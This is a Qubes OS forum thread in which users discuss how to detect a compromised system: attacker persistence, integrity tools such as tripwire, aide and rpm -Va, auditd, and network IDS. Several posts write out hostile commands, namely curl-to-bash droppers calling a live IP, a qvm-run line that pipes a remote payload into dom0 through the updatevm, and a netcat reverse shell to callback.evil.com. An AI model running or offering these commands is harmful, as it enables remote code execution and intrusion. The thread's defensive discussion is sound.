What's the best way to check if qubes is hacked?I

There are all the same problems as with Windows; lucky we, Linux malware is typically nowhere that sophisticated. If I was an advanced adversary with unlimited resources I would a) do not hack sys-net with any persistent changes, keeping everything in RAM and untraceable b) do not touch sys-firewall at all unless dom0 is already compromised c) would be very careful when doing things to templates

The problem is, that any detection tool you could use, could also be used by the attacker for training so he would know what to do to not get caught.

Look for crashes and observe the logs for something that seems fishy… unfortunately… Sorry.

1 Like

Linux malware is typically nowhere that sophisticated.

Do you know that or do you believe that?

If I was an advanced adversary with unlimited resources

I would go for a supply chain attack against a popular binary like Network-Manager. Interesting point would be how to stay stealthy.

keeping everything in RAM and untraceable

So an attacker could plant a backdoor or a malware dropper in a popular binary to achieve persistence, but from there on stay in RAM only. A backdoor could even be something like exchanging a : against a ; (remember the ssh-disaster in 2008?) and a dropper could be a one liner like /usr/bin/curl -k https://38.147.122.82/script.sh | /bin/bash.

To escalate privileges (we can sudo in every qube) towards dom0 we would need a zeroday for Xen.

So it broils down to the question does an advanced adversary have a Xen-zeroday-exploit.

Anyway, @unman mentioned installing tripwire in dom0 in one of the forum-threads. I really enjoyed that idea. Still, I wouldn’t bet money on it when it comes to uefi- or firmware-malware.

We are all doomed! :wink:

That is a good read.

I have good confidence in this assumption based on what we have seen so far. Even the most advanced APT tools for Linux are child’s toys compared to Windows playground.

Well, that would be a jackpot. But quite hard to maintain.

Speaking on integrity control, we need a good baseline and good heuristics to differentiate persistent and mutable stuff and also to watch closely exactly if the “mutable” things can go wrong as well.

Then he’d do it for some package used by dom0 and that’s it. No need for zeroday in Xen.

Hmm, yes, when aiming against Qubes-OS specifically. However, so far Qubes-OS is a distro not used very often. And you can’t do that with a oneliner…

curl -k https://38.147.122.82/stuff | base64 -d | bash

wouldn’t work. And a specifically for dom0 designed malware dropper like

echo -n lotsoflotsoflotsofstuffherelotsoflotsoflines | base64 -d | bash

would look very suspicious.

And a backdoor in dom0 might just be very difficult impossible to reach.

update: both binaries, curl and base64, are installed in dom0. I wonder if that is necessary.

qvm-run --pass-io $(grep -oPm1 "(?<=updatevm\">)[^<]+" /var/lib/qubes/qubes.xml) 'curl -k https://38.147.122.82/stuff | base64 -d' | bash

Same way over updatevm:

1 Like

damn, that works!

update: and it even doesn’t use dom0’s curl and base64 but sys-firewall’s.

A more recent example: the flaw which enabled the pwnkit exploit [1, 2] has been in the pkexec-binary for years. And the underlying mechanism (reintroducing an insecure environment variable) has been described as early as 2014 [3].

Now, these are flaws, right? Somebody made a mistake, right? That happens. On the other hand I remember there were rumors that the 2008-ssh-disaster [4] was introduced on purpose by someone gotten bribed or blackmailed.

A malware dropper as described above might be noticed more quickly, however, there have been plenty of flaws residing in binaries which are less obvious but nevertheless might be introduced on purpose. Since dom0 has no network-connectivity (but callbacks can be made as shown above) the primary vector would most likely be a binary in an appvm, i.e. a browser.

On the positive side it should be noted that state-sponsored attackers very likely use linux distro themselves, so there should be an incentive to keep at least a few distros with as little flaws as possible. Especially outruling remote code execution.

[1] oss-sec: pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)
[2] PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog
[3] oss-security - glibc locale issues
[4] GitHub - g0tmi1k/debian-ssh: Debian OpenSSL Predictable PRNG (CVE-2008-0166)

Anyway, “installing tripwire/aide in dom0” would not add much to the actual security. First of all, there is no baseline and no understanding of what is ok to change and what is not and you will end up flooded with an endless stream of meaningless alerts.

As I mentioned before, we need something like “SIEM for localhost”. Log collection and processing, anomalies detection, crypto verification, configuration change management, audit trail and it is a hell of work to do. Wish I had no daytime job, I’d take the task, it is interesting – how to keep this low noise yet informative and matching regular usage patterns. Most of the checks we need could be easily implemented in diff and rpm which is already capable of checking what changed in signed packages – and there is a signature database already in the system.

And there is another “adjacent” (or should I say “opposite” :)? task for that – anti-forensics! Once we know where and what logs go, we can wipe them clean of sensitive information when needed.

Wish I had no daytime job

Same here.

Anyway, “installing tripwire/aide in dom0” would not add much to the actual security. First of all, there is no baseline and no understanding of what is ok to change and what is not and you will end up flooded with an endless stream of meaningless alerts.

When I find time to install tripwire in a vaultVM (as a test environment similiar to dom0) I’m going to check it out. I haven’t looked into tripwire so far, but if it does what I suspect it to do (checking for changes in binaries) and we do not have any networktraffic in a vaultVM (dom0) there should be no alerts at all. rkhunter could do the same, however it’s database storing binary hashes can be messed with. I actually believe any linux distro should check binaries integrity by default during or just before runtime (not only during install).

Log collection and processing […]

I don’t trust logs when it comes to the question “have I been hacked?”. I’m not even sure if a

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc callback.evil.com 1337 >/tmp/f

is going to leave a trace in any of your logs in case your browser gave me RCE. I suspect not.

Since an attacker can sudo in a qube-vm [1] it takes only a few seconds to implant a LD-rootkit [2] and from there on he or she is invisible. Without an exploit outsmarting the read-only filesystem of the templates this rootkit can not achieve persistance, though.

Rootkits, firmware- and UEFI-maleware are not going to leave a trace in any of your logs. Therefore one needs snort or suricata running on his or her router, preferably a router based on OpenBSD. And then it is a question how stealthy the maleware works… does it send screen-captures resulting in tons of UDP-traffic, does it send only your keystrokes over encrypted https traffic to some AWS instance, use a twitter-instance to exfiltrate only a few bytes everytime there is traffic to their servers, and/or use domain-fronting to hide, and so forth. Things can be difficult, not to talk about false positives.

Although we got a bit carried away from the question the OP asked I pretty much enjoyed reading and contributing my 5 cents to this thread.

[1] Passwordless root access in qubes | Qubes OS
[2] https://compilepeace.medium.com/memory-malware-part-0x2-writing-userland-rootkits-via-ld-preload-30121c8343d5

1 Like

Properly configured auditd can make a wonderful audit trail. Seen that in action a few times. Sure, if dom0, firmware or uefi are compromised, it is a completely different game. So is network IDS fine-tuning.

Speaking on tripwire, I doubt it has a major advantage to rpm -Va in real-world situation. At least rpm already has some kind of baseline in place. You may run it and see immediately what is amount of noise you have to deal with just in a single VM (also you can run it outside the VM, for sure)

related: Verifying installation

Sounds like Qubes could improve then. Good to hear. Keep it up.

Isn’t tripwire’s database encrypted and protected cryptographically against being tempered with? You would have to enter it’s password only when securely disconnected from the internet.

Supposing a malware runs in RAM only, records keystroke but doesn’t touch the filesystem a shutdown now -r might be recommended before reconnecting the hardware to the internet again.

For RPM, it is public key based, thus it is less flexible, but somewhat pre-maintained.

The point I am making is that someone that goes through the immensely difficult process of breaking into fort knox is not going to slip up and fall for an obvious security measure such as that. If they can successfully bypass the isolation built into qubes then they will almost certainly also be able to bypass whatever detection mechanism you set up. And on top of that setting up such a detection mechanism is also going to involve installing additional software in dom0 which increases the attack surface thus likely having the opposite effect and giving you a false sense of security. This is the same argument for using passwordless root because if your adversary can break the protection of qubes then they will not have any issues finding a privilege escalation exploit. Again to point back to the analogy, the attacker would simply step over the rope and if you rely on that rope then you will never even realize they have gotten inside

1 Like

Just put up ropes in lines over one another until there is a trip-wall then of detection, maybe that goes over a unique appVM just for that. And log that. And make an alarm sound when someone breaks in. It can’t be that difficult really to do.
aide kind of thinking maybe…
It would be a great part of qubes! Just saying. It would be a good idea if someone fixed that.
Qubes HIPS edition. IDS edition. Soon with karaoke and AI. :wink: Qubes 56.2 and blinking led lights with hardened bluetooth.
Just a thought.

Then you know if someone breaks in. That should be common sense in a secure OS maybe… :slight_smile:
A nice overview since boot. Maybe GUI’s and a good overlook. Plus that the karaoke sound system plugged in at home starts playing when someone breaks into a machine. hehe
Qubes “limited shake those HIPS to the bluetooth IDS edition 56.2”. haha. Friday edition. Enough now. :slight_smile: A thinkpad with a dj scratch table on the qube site. Backdoor free. Hack resistant.
I would buy it. Not that i have not really tried karaoke, but the level of notifications sounds great. :wink: